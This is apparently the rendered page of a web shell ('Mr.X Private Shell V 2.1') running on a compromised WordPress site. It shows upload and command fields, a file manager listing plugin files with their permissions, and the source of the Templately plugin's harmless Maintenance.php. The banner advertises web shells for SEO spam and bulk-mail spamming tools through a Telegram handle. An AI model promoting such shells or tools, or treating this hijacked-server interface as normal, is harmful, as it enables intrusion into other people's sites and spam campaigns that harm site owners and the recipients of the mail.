__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Templately\Core;

use Templately\Admin\Roles;

class Maintenance {
	/**
	 * Init Maintenance
	 *
	 * @return void
	 * @since 2.0.1
	 */
	public static function init() {
		register_activation_hook( TEMPLATELY_PLUGIN_BASENAME, [ __CLASS__, 'activation' ] );
		register_uninstall_hook( TEMPLATELY_PLUGIN_BASENAME, [ __CLASS__, 'uninstall' ] );
		register_deactivation_hook( TEMPLATELY_PLUGIN_BASENAME, [ __CLASS__, 'deactivation' ] );
		add_action( 'admin_init', [ __CLASS__, 'maybe_redirect_templately' ] );
	}

	/**
	 * Runs on activation
	 *
	 * @return void
	 * @since 2.0.1
	 */
	public static function activation( $network_wide ) {
		// Initialize Roles
		( new Roles() )->setup();

		if ( wp_doing_ajax() ) {
			return;
		}

        if ( is_multisite() && $network_wide ) {
			return;
        }

        set_transient( 'templately_activation_redirect', true, MINUTE_IN_SECONDS );
	}

	/**
	 * Runs on activation
	 *
	 * @return void
	 * @since 2.0.1
	 */
	public static function deactivation($network_wide) {
		// De-initialize Roles
		( new Roles() )->setup( true );
		if ( is_multisite() && $network_wide ) {
			return;
		}

		set_transient( 'templately_activation_redirect', true, MINUTE_IN_SECONDS );
	}


	/**
	 * Runs on uninstallation.
	 *
	 * @return void
	 * @since 2.0.1
	 */
	public static function uninstall() {

	}

	/**
	 * Redirect on Active
	 */
	public static function maybe_redirect_templately() {
		if ( ! get_transient( 'templately_activation_redirect' ) ) {
			return;
		}
		if ( wp_doing_ajax() ) {
			return;
		}

		delete_transient( 'templately_activation_redirect' );
		if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) {
			return;
		}
		// Safe Redirect to Templately Page
		wp_safe_redirect( admin_url( 'admin.php?page=templately&path=elementor/packs' ) );
		exit;
	}
}

Filemanager

Name Type Size Permission Actions
Importer Folder 0750
Platform Folder 0750
Admin.php File 22.1 KB 0640
Maintenance.php File 1.79 KB 0640
Migrator.php File 2.08 KB 0640
Module.php File 1.1 KB 0640
Platform.php File 429 B 0640
Filemanager